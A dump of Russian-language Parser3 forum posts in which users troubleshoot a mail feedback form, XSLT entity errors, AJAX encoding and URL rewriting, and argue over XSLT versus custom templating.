[color=\"#dedede\"](только не говорите - на чем удобнее, мне надо так, что бы была наименьшая нагрузка на сервер при высокой посещаемости)[/color]"
"53513","+, естестевенно, использование долгосрочного кэша. (http://www.parser.ru/docs/lang/opcache.htm)\
Или вообще генерить статическую страницу при изменении данных из админки."
"53514","Модератор в скобках. Зубных :)\
\
Есть еще правда и другие расшифровки, но, боюсь, не подходят они к тем, кто гордо носит медальку \"[M]\" ))"
"53515","По современному. По гринвичу :)."
"53516","мне две.\
\
код кодирования в base64 есть. кому нужно, пусть сделает.\
нам пришлёт \"patch -u\".\
заранее благодарны!"
"53517","Код обратной связи взят из примеров. Весь процесс выполняеться без сообщений об ошибках и даже вадаеться сообщение об отправке сообщения. Но на почту ничего не приходит. В чем может быть проблема?\
\
[code]\
# метод проверяет все-ли поля формы заполнены. если все хорошо должен вернуть 1, иначе - 0\
@is_ok[]\
$result(^if(def $form:name && def $form:question){1}{0})\
#end @is_ok[]\
\
@main[]\
...\
\
$to[<2n@mail.ru>]\
^rem{ *** от какого адреса будет отправляться письмо *** }\
$from[feedback@$env:SERVER_NAME]\
\
^if($form:action eq \"done\"){\
	^rem{ *** сюда мы попадём после внешнего редиректа когда всё уже успешно отправилось *** }\
	^rem{ *** тут пишем посетителю что-нить доброе за то, что он отправил нам пожелание *** }\
	$reply_thanks[Сообщение отправлено]\
}{\
\
}\
\
^if(def $form:do){\
	^rem{ *** если что-то пришло к нам в элементе 'do' - значит форма сабмитится *** }\
	^if(^is_ok[]){\
		$now[^date::now[]]\
		^rem{ *** если данные валидные, то пробуем отправить письмо *** }\
		^try{\
			^mail:send[ \
				      $.from[^if(^is_email[$form:email]){$form:email}{$from}] \
				      $.to[$to] \
				      $.subject[Сообщение с сайта http://$env:SERVER_NAME/]\
				      $.charset[$response:charset] \
				      $.text[Пользователь: $form:name^#0A^if(def $form:email){E-mail: $form:email^#0A}Вопрос:^#0A$form:question^#0A^#0AСообщение отправлено: ^now.sql-string[]^#0AIP: $env:REMOTE_ADDR]\
]\
}{\
			^rem{ *** использовали try т.к. в отправке письма может возникнуть ошибка *** }\
			^rem{ *** и тут мы окажемся, если эта ошибка таки возникла *** }\
\
			^rem{ *** говорим парсеру, что с этой ошибкой мы разберёмся сами *** }\
			$exception.handled(1)\
			\
			^rem{ *** ну и надо что-нить сообщить пользователю в связи с ошибкой *** }\
			^rem{ *** конечно хорошо-бы ещё записать что-нить в лог файл про эту ошибку *** }\
			<p>Сожалеем, но при отправке письма возникла неизвестная ошибка.</p>\
		}\
\
		^rem{ *** делаем _внешний_ редирект на себя, чтобы защититься от Reload *** }\
		^rem{ *** правда от Back все равно таким образом не защититься *** }\
		^rem{ *** для того, чтобы редирект был внешним не забываем начать адрес с http:// *** }\
		$response:location[http://^taint[as-is][${env:SERVER_NAME}$request:uri]^if(^request:uri.pos[?]>=0){&}{?}action=done]\
	}{\
		^rem{ *** не заполнены какие-то поля формы. ругаемся. *** }\
		^rem{ *** при этом не сбрасываем флаг что нужно показывать форму. *** }\
		^rem{ *** т.е. после ругани у нас покажется форма *** }\
		^rem{ *** при этому уже заполненные ранее пользователям данные не будут потеряны *** }\
		$err_field_empty[<b><font color=\"#cc0000\">Не заполнены обязательные поля формы!</font></b><p>]\
	}\
}\
\
<form method=\"post\" action=\"/about/\" enctype=\"multipart/form-data\">\
\
		^rem{ *** именно по этому элементу мы будем определять, постится форма или нет *** }\
		^rem{ *** если вы хотите анализировать это по элементу 'action', то вашу форму невозможно... *** }\
		^rem{ *** ...будет запостить с помощью нажатия клавиши enter или с помощью js события *** }\
$err_field_empty\
$reply_thanks\
\
		<input type=\"hidden\" name=\"do\" value=\"do\" />\
\
		Ваше имя:<br />\
		<input type=\"text\" name=\"name\" value=\"$form:name\" size=\"30\" /><br />\
		E-mail:<br />\
		<input type=\"text\" name=\"email\" value=\"$form:email\" size=\"30\" /><br />\
		Ваш вопрос:<br />\
		<textarea name=\"question\" cols=\"50\" rows=\"8\">$form:question</textarea><br />\
		\
		<input type=\"submit\" name=\"action\" value=\"Отправить\" />\
\
\
</form>\
\
</body></html>\
[/code]"
"53518","и в примерах код другой, там не делается редирект в случае ошибки отправки письма. у вас - делается. т.е. возможно вы не видите ошибку."
"53519","Может сделать её зелёной? А то с датой сообщения, если оно новое, сливается. Да и так не особо красиво выглядит."
"53522","Написано Win32 (05 июня 2006), а внутри ни одного файла с этой датой."
"53523","Может ли быть эта ощибка связана с площадкой на которой размещен скрипт?\
Этот код не работает на ValueHost, хотя тот же скрипт работает без проблем на Masterhost.\
С чем это может быть связано?"
"53527","Какие дополнительные классы нужны для работы? И какие можно отключить?"
"53529","И скачать класс посмотреть? Лишних классов не подключено."
"53530","\"Лишних\" ?\
Если я правильно понял, как мнимум там 3 класса:\
SQL, Авторизация и JsHttpRequest"
"53533","У меня с ним сейчас тоже проблемы. Разбираюсь.\
Будет интересен результат - свяжитесь со мной через пару дней"
"53535","Ну не знаю. Зря Вы так. На Valuehost у меня parser почту нормально отправляет на любой адрес."
"53537","У меня на трех нормально - а на четвертом постоянные падения майэскуэль и почта на мэйл.ру не ходит"
"53538","Jun  6 15:20:18 be37 /kernel: pid 99925 (parser3.cgi), uid xxxxx: exited on signal 11\
 \
Рекомендую Вам переустановить интерпретатор, это должно решить проблему.\
\
Выдается немного переделанным скриптом форума тов. Яценко. Стала выдавться после регистрации нескольких пользователей."
"53540","так попроси чтобы они сменили сервер \
\
список стабильных серверов ValueHost\
client37.6.LED.utransit.net (217.112.37.6)\
v9-u.valuehost.ru  (217.112.42.41)\
v24-u.valuehost.ru (217.112.42.88)\
v29-u.valuehost.ru (217.112.42.93)\
v20-u.valuehost.ru (217.112.42.84)\
---------------------------------------------------\
v12-u.valuehost.ru (проблемы с MySql переодически)\
v14-u.valuehost.ru (вечно умерает)\
\
мое личное исследование !"
"53541","как бы так лучше реализовать, подскажите плз... а то ОР вообще с динамическими сайтами у меня 0.0% а желание научится присутствует :)\
\
допустим надо будет изменить версию перла, так кде лучше хранить (и как) данные о первом столбце\
\
ай нид хельп бай умный пипл :)"
"53542","pravo.vseznaem.ru\
\
В XSL файле очень много всяких &laquo...\
Как их заставить корректно интерпритироваться и отображаться...\
\
/home/vseznaem/public_html/pravo/data/templates/main.xsl:28: parser error : Entity 'reg' not defined\
\"><img src=\"/images/gerb_big.jpg\" width=\"136\" height=\"142\" alt=\"РџСЂР°РІРѕ &reg;\
                                                                               ^\
/home/vseznaem/public_html/pravo/data/templates/main.xsl:30: parser error : Entity 'nbsp' not defined\
		<DIV>РІС‚РѕСЂРҐРёРє, 06.06.2006, <NOBR>14:01:45&nbsp;</NOBR></DIV>\
		                                                     ^\
/home/vseznaem/public_html/pravo/data/templates/main.xsl:38: parser error : Entity 'larr' not defined\
	<td>&larr; <a href=\"/news\"> РќРѕРІРѕСЃС‚Рё</a></td>\
	          ^\
/home/vseznaem/public_html/pravo/data/templates/main.xsl:39: parser error : Entity 'rarr' not defined\
	<td><a href=\"/sud\">РЎСѓРґС‹</a> &rarr;</td>\
	                                      ^\
/home/vseznaem/public_html/pravo/data/templates/main.xsl:60: parser error : Entity 'copy' not defined\
ѕСЂРјР°С†РёРѕРҐРҐС‹Р№ СЃРїСЂР°РІРѕС‡РҐРёРє С‡СѓРІР°С?РёРё. <br/><xsl:text>&copy;\
                                                                               ^\
error\
xsltParseStylesheetFile : cannot parse /home/vseznaem/public_html/pravo/data/templates/main.xsl"
"53543","[url=\"http://www.parser.ru/forum/?terms=%27+not+defined&search_in_message=1&author=&doSearch=%CD%E0%E9%F2%E8\"]вставляем в формочку слева текст сообщения об ошибке[/url]"
"53544","<!DOCTYPE xsl:stylesheet [\
	<!ENTITY nbsp \"&#160;\"> \
]>\
ВОПРОС....\
какие энтити мне прописать для\
&reg;\
&larr;\
&rarr;\
&copy;"
"53545","при необходимости я внедряю в свои xml вот это:\
\
<!DOCTYPE site_page [\
<!ENTITY nbsp \"&#160;\">\
<!ENTITY sect \"&#167;\" >\
<!ENTITY copy \"&#169;\">\
<!ENTITY laquo \"&#171;\">\
<!ENTITY reg \"&#174;\">\
<!ENTITY deg \"&#176;\">\
<!ENTITY plusmn \"&#177;\">\
<!ENTITY para \"&#182;\">\
<!ENTITY raquo \"&#187;\">\
<!ENTITY times   \"&#215;\">\
<!ENTITY bull \"&#8226;\">\
<!ENTITY hellip \"&#8230;\">\
<!ENTITY ndash    \"&#8211;\">\
<!ENTITY mdash    \"&#8212;\">\
<!ENTITY lsquo    \"&#8216;\">\
<!ENTITY rsquo    \"&#8217;\">\
<!ENTITY sbquo    \"&#8218;\">\
<!ENTITY ldquo    \"&#8220;\">\
<!ENTITY rdquo    \"&#8221;\">\
<!ENTITY bdquo    \"&#8222;\">\
<!ENTITY lsaquo   \"&#8249;\">\
<!ENTITY rsaquo   \"&#8250;\" >\
<!ENTITY euro    \"&#8364;\">\
]>"
"53546","а как прописать значки &larr; &rarr;"
"53547","по словам \"entity\" и \"larr\" даёт нам [url=\"http://www.w3.org/TR/REC-html40/sgml/entities.html\"]первой же ссылкой это[/url]"
"53548","Беру пример из справки:\
\
Пример загрузки XML-документа с HTTP-сервера \
[code]$xdoc[^xdoc::load[http://www.cbr.ru/scripts/XML_daily.asp]] \
На \
    ^xdoc.selectString[string(/ValCurs/@Date)] \
курс валюты \
    $node[^xdoc.selectSingle[/ValCurs/Valute[CharCode='USD']]] \
    \"^node.selectString[string(Name)]\" \
равен \
    ^node.selectString[string(Value)] \
<hr> \
<pre>^taint[^xdoc.string[]]</pre> [/code]\
\
Но в результате выдается ошибка:\
\
В работе Parser произошла ошибка:\
\
-unknown error-\
\
Ошибку вызвал этот фрагмент:\
http:/www.cbr.ru/scripts/xml_daily.asp\
Ошибка произошла при работе с файлом:\
\
/index.html, строка номер 1\
\
Что обычно приводит к ошибке «xml»?\
\
в вашем коде XML ошибки, или вы пытаетесь выполнить над XML недопустимую операцию.\
Проблема возникла при выполнении:\
\
load в файле /index.html, строка 1\
\
Что это может быть?"
"53549","заведите в БД еще одну таблицу с названиями полей."
"53551","http://html.manual.ru/book/info/specialchars.php"
"53552","http:/[color=\"#FF0000\"]/[/color]www.cbr.ru/scripts/xml_daily.asp"
"53553","открыть в hex редакторе cgi/exe, найти буковки:\
'multipart/related;'\
и заменить на:\
'multipart/mixed;  '\
\
P.S. если у вас что-то поломается, я не виноват."
"53554","использую parser3_2_1_win32_cgi_xml\
пробую примеры из документации\
если в index.html определяю функцию, которой нет auto.p , то выдаётся ошибка.\
Unhandled Exception\
а лог апача\
127.0.0.1 - - [08/Jun/2006:15:59:00 +0400] \"GET / HTTP/1.1\" 500 1026\
\
если вместо $math:PI написать $math1:PI , то такая же ситуация.\
Я что-то не так настроил у себя. Всё же parser должен выдавать номер строки с ошибкой?"
"53556","Добрый день!\
Как сделать потомок класса xnode?"
"53558","Проблема: при указании не существующего html-файла не выводиться ошибка 404.\
Для любого другого расширения файлов и директорий эта ошибка выводиться, а для html-файлов только страница с заголовком Internal server error\
\
Хотя есть соотвествующа деректива в .htaccess и \
[code]\
^if($exception.type eq 'file.missing' && !$stack){\
$exception.handled(1)\
$response:location[/err/]\
		}\
...\
[/code]\
в auto.p конфигураторе Парсера.\
\
Буду благодарен, за помощь совет."
"53561","Там я почитал. Проблем нет с созданием подклассов, когда у базового есть конструктор. Но у xnode конструктора нет. А сделать потомок нужно. \
\
Вот и спрашивается, как это сделать?"
"53562","Есть такой код:\
\
[code]@CLASS\
sfDispatcherApplications\
\
@USE\
sf/application.p\
\
@auto[]\
$rootpath[$MAIN:sf.start.pathBoot]\
$dispapps[$MAIN:sf.system.dispapps]\
\
@create[]\
...\
\
@method[]\
^dispapps.execapp[app1;commandline][/code]\
\
$rootpath строка и она доступна объектам этого класса.\
А вот $dispapps не доступен. Он объект другого класса. \
\
Почему?"
"53563","метод @auto[] класса выполняется при загрузке класса (т.е. сразу после @USE/^use[]). соотвественно переменные, которые вы кладете в переменные класса (в вашем случае это $MAIN:sf.start.pathBoot и $MAIN:sf.system.dispapps) должны быть определены до момента подключения класса.\
\
также имейте ввиду что переменные, определенные в методе @auto[] класса являются переменными класса, а не объекта. т.е. если вы создадите два объекта класса, и в одном объекте измените переменную, созданную в методе @auto[] этого класса, то значение этой переменной для второго объекта тоже изменится."
"53564","Страница HTML написана в кодировке Windows-1251.\
Делается запрос через AJAX, но он, почему-то делается в кодировке utf-8. В итоге получается, что до файла обработки запроса текст, который я туда отправляю, приходит в utf-8 и на результирующей странице отображается каракулями, т.к. страница сделана в windows-1251. Пробовал сделать так:\
request.setRequestHeader(\"Content-Type\",             \"application/x-www-form-urlencoded; charset=windows-1251\");\
Но разницы не заметил.\
Кто-нибудь может подсказать, почему такой глюк происходит?\
Страницы, на которых можно потренироваться:\
http://market.arsenyev.net/catalog/offer/?offer_id=1 - форма отправления сообщения\
http://market.arsenyev.net/catalog/offer/email.txt - то, что в итоге получается. Самые последние попытки в самом низу.\
JS-код можно посмотреть в исхоном коде страницы http://market.arsenyev.net/catalog/offer/?offer_id=1\
Просьба тренировться только на этой странице, т.к. с этой страницы сообщение уходит именно мне, а не другим посетителям.\
\
Заметил что это происходит в FireFox. Если пользоваться IE - то все нормально с кодировками."
"53565","Сталкивался, когда писал данные в базу. Решение - обрамлять переменную перед POST`ом функцией escape(). Дело в том, что AJAX всегда передает данные в UTF-8, чтобы вы ему не писали. Кстати, на  request.setRequestHeader мой дебаггер ругается и в Firefox форма перестает работать."
"53566","Стоит задача разделения кода и html. Идем двумя путями: XML-XSLT и хотим попробовать собственный шаблонизатор.\
\
Кто-нибудь пробовал делать шаблонизатор? Насколько я понимаю, тут ООП. Не подскажите с чего начать?"
"53568","Почему необходимо модуль линковать статически в httpd? Поделитесь, пожалуйста, если можно."
"53569","XML-XSLT шаблоны, особенно в руках плохо разбирающегося человека очень не поворотливы. Удобно делать отдельные вещи.\
Пример:\
Есть сервис на сайте. Возникает потребность расширить юзабильность, предположим (вывести несколько записей из других разделов, добавить внутреннее меню). Сразу же возниакет задача создание шаблона под эти маленькие кусочки. А если представить что таких кусочков много? А самое главное, в одном проекте они нужны, а в другом нет.\
\
+ Нужно знание XSLT, а его нет. Куча работы, а чтобы хорошо изучить XSLT нужно время, а делать надо сейчас. Делать портал при плохом знании XSLT - будет куча ошибок (как всегда в первый раз), исправлять потом сложно.\
\
(всё вышеизложенное личное мнение, скорее основанное на не знании XSLT)\
\
Поэтому решили посмотреть в сторону шаблонизатора. Парсер сам по себе почти шаблонизатор, не хвататет только разделения кода.\
(конечно при таком подходе нарушается правило: никакого кода в дизайне).\
\
Вот думаю как это реализовать. Прошу совета."
"53572","Вы знаете зачем придумали XML? XML был придуман как своеобразная прослойка. С помощью XML можно хранить данные и быть уверенным что другая программа их поймет. Изначально XML никто не придумывал для создания с его помощью сайтов. Мы используем XSLT и генерим всё тот же HTML.\
\
Если на сайте 10 страниц и кроме текста и дизайна ничего не меняется, тогда мне показалось удобно использовать XML+XSLT. А когда страниц много и добавляется постоянно что-то новое - хранение дизайна в HTML формате показалось более удобным."
"53573","... совершенно точно не стоит изобретать велосипед, а все-таки использовать в качестве шаблонизатора сам Парсер. \
\
Я бы в данном случае сделал бы класс-окружение в котором былыи бы необходимые в шаблоне переменные и методы, а сам шаблон вкомпилировал в класс на этапе выполнения как отдельный метод. Хорошо это тем, что мы сохраняем все возможности самого языка (всякие циклы, ифы, встроенные классы и прочие радости), но при этом получаем некую локализацию шаблона и возможность сохранения ортогональности всей системы.\
\
С другой стороны надо хорошо подумать нужны может вам просто хватит связки XHTML+CSS? :) Мне, например, хватает."
"53574","Ща я осознаю написанное.. :)\
\
>С другой стороны надо хорошо подумать нужны может вам просто >хватит связки XHTML+CSS? :) Мне, например, хватает.\
\
Оно и не надо больше ничего, тут я Вами на все 110% согласен. Просто хочется код от дизайна отделить, большие классы и так перегружены а тут еще код HTML. Через пол года открываю файл, даже с коментариями разбираться сложновато."
"53575","Например:\
\
код:\
\
[code]\
$out[^table::sql{SELECT a, b, c FROM table}]\
\
^template[]\
[/code]\
\
[code]\
@tempalte[]\
<table>\
^out.menu{\
<tr><td>$out.a</td></tr>\
}\
</table>\
[/code]\
\
Такая идея?"
"53576","1. вы уверены, что на написание и отладку своего механизма вы потратите меьше времени, при этом обеспечите достаточную вам функциональность? кстати xslt очень прост...\
\
2. вы уверены, что когда портал разрастется, и вы решите найти себе помошника вам проще будет найти такого, который ничего не знает и потратить время чтобы лично обучить его всем тонкостям вашей реализации, а не найти готового, знающего xslt?\
\
3. вы уверены, что если делать портал при помощи только что написанного, не отлаженого шаблонизатора, то ошибок будет меньше, чем если делать его через xml+xslt?\
\
[quote]А когда страниц много и добавляется постоянно что-то новое - хранение дизайна в HTML формате показалось более удобным.[/quote]\
\
хм. наш опыт показал что хранить дизайн в xslt удобнее чем в html, причем настолько что мы приносим в жертву производительность (а компьютеры каждый год ускоряются...)"
"53577","Т.е. разбейте классы на более мелкие части. Я правда практически не делаю сайты, а все больше веб-приложения, но модули получаются достаточно маленькими, поскольку при необходимости мой модуль может сам становится контейнером для таких же модулей, что дает возможность делать код компактным и обозримым.\
\
Понимаю, что объясняю несколько сумбурно - нужен пример. Подготовлю - выложу. :)"
"53579","По пункту 2 никаких возражений.\
По пункту 1,3:\
[quot]\
вы уверены, что если делать портал при помощи только что написанного, не отлаженого шаблонизатора, то ошибок будет меньше, чем если делать его через xml+xslt?\
[/quot]\
\
Так ведь все-равно нужно придумывать всю эту систему. Первое, с чем я столкнулся, когда попробовал xml-xslt - это динамическое подключение нужных шаблонов. Спасибо PAF'у совет хороший дал.\
\
Так что затраты сил я думаю здесь будут не в пользу связки xml-xslt"
"53580","Сам принцип понятен, нужно \"одеть\" его в нормальный вид и попробовать.\
\
Спасибо! Если будем использовать такой подход, обязательно Вам напишу."
"53581","1. Изначально XML был придуман для создания сайтов\
2. То что мы из него генерируем не имеет никакого значения, но поддержка xslt шаблонов просто сказка после html шаблонов\
3. Когда страниц много и добавляется что-то новое как вообще можно работать с html, вы попробуйте, вам очень понравиться.\
\
(сейчас делаю проект на чистом html о чем уже давно забыл, и каждый день сокрушаюсь по отсутсвию xsltб html шаблоны сильно бы там жизнь не облегчили =("
"53582","А можно несколько поподробнее с escape?\
У меня есть такая кнопка:\
<input type=\"button\" value=\"Отправить\" onClick=\"makeRequest('sendmessage.html?id=1&message='+document.getElementById('message').value)^;return false^;\">\
id - это номер товара, в данном случае он роли не играет. А getElementById('message') - это html-объект textarea, в который вводится текст сообщения. При нажатии на кнопку формируется url:\
sendmessage.html?id=1&message='+document.getElementById('message').value\
по которому потом выполняется запрос. Пример стандартный, который на mozilla.com описан.\
Делаю вот так:\
sendmessage.html?id=1&message='+escape(document.getElementById('message').value)\
и все падает. Я в JS не силен. Подскажи, если несложно, к чему конкретно вы пришли."
"53583","По 1. Нет времени сейчас спорить зачем XML\
По 3. Парсер не PHP он сам является шаблонизатором. И хочу сказать городить кучу из всех возможных языков не всегда хорошо."
"53585","[url=\"http://ru.wikipedia.org/wiki/XML\"]http://ru.wikipedia.org/wiki/XML[/url]\
\
[quot]\
Целью создания XML было обеспечение совместимости при передаче структурированных данных между разными системами обработки информации, особенно при передаче таких данных через Интернет. Словари основанные на XML (например, RDF, RSS, MathML, XHTML, SVG) сами по себе формально описаны, что позволяет программно изменять и проверять документы на основе этих словарей, не зная их семантики, то есть не зная смыслового значения элементов. Важной особенностью XML также является применение так называемых пространств имён (англ. namespace).\
[/quot]"
"53586","http://www.w3.org/XML/\
\
[quote]Extensible Markup Language (XML) is a simple, very flexible text format derived from SGML (ISO 8879). [b]Originally designed to meet the challenges of large-scale electronic publishing[/b], XML is also [b]playing an increasingly important role in the exchange of a wide variety of data on the Web and elsewhere[/b].[/quote]"
"53587","Если вот это выдает ошибку, то проблема в коде:\
[code]\
<input type=\"button\" value=\"Отправить\" onClick=\"makeRequest('sendmessage.html?id=1&message='+escape(document.getElementById('message').value))^;return false^;\" />\
[/code]\
Вот вам простой пример:\
[code]\
<input type=\"text\" id=\"test\" />\
<button onclick=\"alert('бууу'+escape(document.getElementById('test').value))\">жми</button>\
[/code]\
Введите в test кириллицу и посмотрите на результат.\
А вообще, что значит падает? Посмотрите, что пишет ваш дебаггер. Как правило, решение проблемы можно найти сразу же."
"53588","[quot] \
Гость пишет: \
Я сам изменял XSLT-шаблоны, там все очевидно (я директор по маркетингу).  \
\
\
До какого-то момента действительно сложного ничего нет, как собственно нет ничего сложного в редактировании обычного текстового файла. Открыть файл, поискать вхождение строки \"Товаров на складе:\" и заменить это на \"Объем склада\", например. \
\
Но мы говорим не о статической странице, а о традиционном веб-проекте, шаблон которого становится большим и все больше напоминает обычный программный код, причем неоптимальный и ограниченный по возможностям. \
Небольшой пример из XSLT шаблона на 100к: \
\
<xsl:for-each select=\"/Bitrix/OfferList/rs:data/z:row\"> \
<ПакетПредложений> \
<xsl:if test=\"$EXTENDED='Y'\"> \
<xsl:attribute name=\"ID\"><xsl:value-of select=\"@ID\"/></xsl:attribute> \
</xsl:if> \
<xsl:if test=\"not(@NEW_INFO) or @NEW_INFO='Y'\"> \
<xsl:attribute name=\"ИдентификаторКаталога\"><xsl:value-of select=\"@CATALOG_XML_ID\"/></xsl:attribute> \
<xsl:attribute name=\"Владелец\"><xsl:value-of select=\"@XML_ID\"/></xsl:attribute> \
<xsl:if test=\"@DATE_START\"> \
<xsl:attribute name=\"ДействительноС\"><xsl:value-of select=\"substring-before(@DATE_START, 'T')\"/></xsl:attribute> \
</xsl:if> \
<xsl:if test=\"@DATE_END\"> \
<xsl:attribute name=\"ДействительноДо\"><xsl:value-of select=\"substring-before(@DATE_END, 'T')\"/></xsl:attribute> \
</xsl:if> \
<xsl:attribute name=\"Описание\"><xsl:value-of select=\"@DESCRIPTION\"/></xsl:attribute> \
<xsl:attribute name=\"Валюта\"><xsl:value-of select=\"@CURRENCY\"/></xsl:attribute> \
<xsl:if test=\"$EXTENDED='Y'\"> \
<xsl:attribute name=\"DESCRIPTION_TYPE\"><xsl:value-of select=\"@DESCRIPTION_TYPE\"/></xsl:attribute> \
<xsl:attribute name=\"SORT\"><xsl:value-of select=\"@SORT\"/></xsl:attribute> \
<xsl:attribute name=\"NAME\"><xsl:value-of select=\"@NAME\"/></xsl:attribute> \
<xsl:attribute name=\"VISIBLE\"><xsl:value-of select=\"@VISIBLE\"/></xsl:attribute> \
<xsl:attribute name=\"OFFER_LIST_PRICE_TYPE\"><xsl:value-of select=\"@PRICE_TYPE\"/></xsl:attribute> \
</xsl:if> \
</xsl:if> \
<xsl:variable name=\"OLID\" select=\"@ID\"/> \
<xsl:for-each select=\"key('o', $OLID)\"> \
<Предложение> \
<xsl:if test=\"$EXTENDED='Y'\"> \
<xsl:attribute name=\"ID\"><xsl:value-of select=\"@ID\"/></xsl:attribute> \
</xsl:if> \
<xsl:if test=\"not(@NEW_INFO) or @NEW_INFO='Y'\"> \
<xsl:attribute name=\"ИдентификаторТовара\"><xsl:value-of select=\"@PRODUCT_XML_ID\"/></xsl:attribute> \
<xsl:attribute name=\"Цена\"><xsl:value-of select=\"@PRICE\"/></xsl:attribute> \
<xsl:attribute name=\"НормаУпаковки\"><xsl:value-of select=\"@RATIO\"/></xsl:attribute> \
<xsl:attribute name=\"Количество\"><xsl:value-of select=\"@AMOUNT\"/></xsl:attribute> \
<xsl:attribute name=\"Единица\"><xsl:value-of select=\"@UNIT\"/></xsl:attribute> \
<xsl:attribute name=\"Валюта\"><xsl:value-of select=\"@CURRENCY\"/></xsl:attribute> \
<xsl:variable name=\"OFID\" select=\"@ID\"/> \
<xsl:for-each select=\"key('opv', $OFID)\"> \
<ЗначениеСвойства> \
<xsl:attribute name=\"ИдентификаторКаталога\"><xsl:value-of select=\"@CATALOG_XML_ID\"/></xsl:attribute> \
<xsl:attribute name=\"ИдентификаторСвойства\"><xsl:value-of select=\"@XML_ID\"/></xsl:attribute> \
<xsl:attribute name=\"Значение\"><xsl:value-of select=\"@PROPERTY_VALUE\"/></xsl:attribute> \
</ЗначениеСвойства> \
</xsl:for-each> \
</xsl:if> \
</Предложение> \
</xsl:for-each> \
<xsl:if test=\"not(@NEW_INFO) or @NEW_INFO='Y'\"> \
<xsl:if test=\"not($EXTENDED) or $EXTENDED != 'Y'\"> \
<ЗначениеСвойства> \
<xsl:attribute name=\"ИдентификаторКаталога\"><xsl:value-of select=\"@CATALOG_XML_ID\"/></xsl:attribute> \
<xsl:attribute name=\"ИдентификаторСвойства\">OFFER_LIST_PRICE_TYPE</xsl:attribute> \
<xsl:attribute name=\"Значение\"><xsl:value-of select=\"@PRICE_TYPE\"/></xsl:attribute> \
</ЗначениеСвойства> \
</xsl:if> \
<xsl:for-each select=\"/Bitrix/OfferListRefPropertyValue/rs:data/z:row[@OFFER_LIST_ID=$OLID]\"> \
<ЗначениеСвойства> \
<xsl:attribute name=\"ИдентификаторКаталога\"><xsl:value-of select=\"@CATALOG_XML_ID\"/></xsl:attribute> \
<xsl:attribute name=\"ИдентификаторСвойства\"><xsl:value-of select=\"@XML_ID\"/></xsl:attribute> \
<xsl:attribute name=\"Значение\"><xsl:value-of select=\"@PROPERTY_VALUE\"/></xsl:attribute> \
</ЗначениеСвойства> \
</xsl:for-each> \
</xsl:if> \
</ПакетПредложений> \
</xsl:for-each> \
\
 \
Гость пишет: \
Повторюсь, что Все проблемы, которые Вы описываете, решатся со временем.  \
\
\
Да они и сейчас решаются, только за бо'льшие деньги. \
\
Только если в таких проектах все ресурсы машины уходят на поддержку базовых возможностей, мы в нашем продукте можем себе позволить потратить ресурсы на сложную веб-аналитику или подстройку контента под интересы пользователей. \
\
 \
Гость пишет: \
\"Нет возможности использовать все возможности современных языков программирования и библиотек (графика, представление, сервисные функции и т.п.)\" - так это и не нужно.  \
\
\
Очень нужно, поверьте. Даже в приведенном примере видно, что в этом простом шаблоне XSLT берет на себя обязанности по условному отборку и представлению данных. Чем дальше будет развиваться ваш проект, тем больше логики вы захотите в него засунуть. Вот тут и начнется основная проблема. Цена развития такого проекта начинает расти в геометрической прогрессии, а доходы при этом так же не растут, так как реальной видимой пользователю отдачи от этих технологий нет. \
\
Все это конечно вопрос личных предпочтений, опыта и бюджетов. \
Жаль только, что нам всем приходится платить за заблуждения учителей и проектировщиков, которые хотели создать идеальные системы. \
\
Я так же уверен, что любые виды шаблонов, будь то XSLT или свои псевдо-шаблоны с \"удобным\" своим языком программирования будут менее производительны и более сложными в освоении и поддержании, чем традиционные языки программирования, для которых уже масса обученных специалистов, и которые работают с максимальной для них скоростью исполнения.[/quot]\
\
Отсюда: http://www.bitrixsoft.ru/support/forum/read.php?FID=6&TID=809&MID=3131&phrase_id=187054#message3131\
\
Битрикс, таки, на сегодня лидер на рынке коммерческих CMS. Мнение которого опрометчиво было бы не учитывать."
"53589","в приведенном тексте можно xslt заменить на все что угодно :)\
\
xslt _может_ облегчить создание сайта, однако может и не облегчить. от квалификации зависит очень многое: я считаю что если кто-то в состоянии написать свой процессор шаблонов и эффективно его использовать, он с не меньшим успехом может освоить уже готовый, отлаженый и провереный временем процессор шаблонов (xslt) и использовать его не менее эффективно.\
\
еще раз: _может_, но не обязан.\
\
[quote]Но мы говорим не о статической странице, а о традиционном веб-проекте, шаблон которого становится большим и все больше напоминает обычный программный код, причем неоптимальный и ограниченный по возможностям.[/quote]\
\
э-э-э. я правильно понимаю, что из этого утверждения следует, что любой большой веб-проект не оптимален и ограничем по возможностям? с утверждением по поводу оптимальности можно спорить, хотя я не буду, я лишь высказал свою точку зрения.\
возможно их система не позволяет писать логику вне шаблонов, что приводит к подобным крайностям. а насколько я помню основная идея была разделить логику и оформление (xslt): т.е. что логика делает в шаблоне?\
\
\
[quote]Небольшой пример из XSLT шаблона на 100к:[/quote]\
\
я не помню, чтобы в наших проектах я видел хоть однин 100-килобайтный шаблон. (hint: они прекрасно разбиваются на составляющие, каждая из которых отвечает за что-то свое)."
"53590","Всем привет!\
подскажите пожалуйста как сделать чтобы показ ссылки был не такой:\
http://www.test.ru/forum/?id=53359\
а такой:\
http://www.test.ru/forum/53359/"
"53591","http://www.xmlsapiens.org"
"53593","Официальный сайт не работает... Проект случайно не закрылся?"
"53594","Если не брать пример с суперспециалистов, которые работают в Студии Артемия Лебедева, а посмотреть на то, что мало программистов на 5 знают XSL, то можно сформулировать несколько причин по которым для нас удобнее пользоваться средставми Parser для разделения логики и дизайна.\
\
1. Переход на XSL. Для перехода нужно создать множество вспомагательных узлов (назовём это движком), иначе толку от XSL точно не будет.\
\
2. При отсутсвии хороших знаний XSL резко увеличивается время создания проекта, особенно на стадии подготовки вывода страниц.\
\
3. При отсутсвии хороших знаний нового языка, очевидно, что количество ошибок возрастет пропорционально увелечению количества используемых языков.\
\
4. Имеется множество готовых классов. Перевод их на XML-XSL займет много времени.\
\
Как видно причины являются субъективными, ничего против XSL я конечно не имею. Но я думаю, подобные причины не редкость."
"53595","На изучение XSLT у вас уйдет максимум три дня.\
На создание системы шаблонов столько же если не больше."
"53596","Я потратил намного боьше чем 3 дня на изучение и считаю, что знаю XSL плохо.\
\
>На создание системы шаблонов столько же если не больше.\
А на создание вспомогательных для работы с XSL?\
\
В общем вариант, предложенный Sumo, наверное подойдет.\
Просто никто так и не дал совет по поводу моего вопроса."
"53597","В ошибке почему то пишет на один слэш меньше.\
\
Пишу http://,\
в ошибке выдает http:/\
\
Почему так?"
"53598","Я просто совершенно непонимаю зачем сейчас разрабатывать велосипед, чтобы через полгода его снова переделывать?"
"53600","Собственно, дело как раз в том, что велосипед не нужен, сам парсер хорошо подойдет. Вариант Sumo требует минимум специальных доработок."
"53601","Можно у меня попросить.\
\
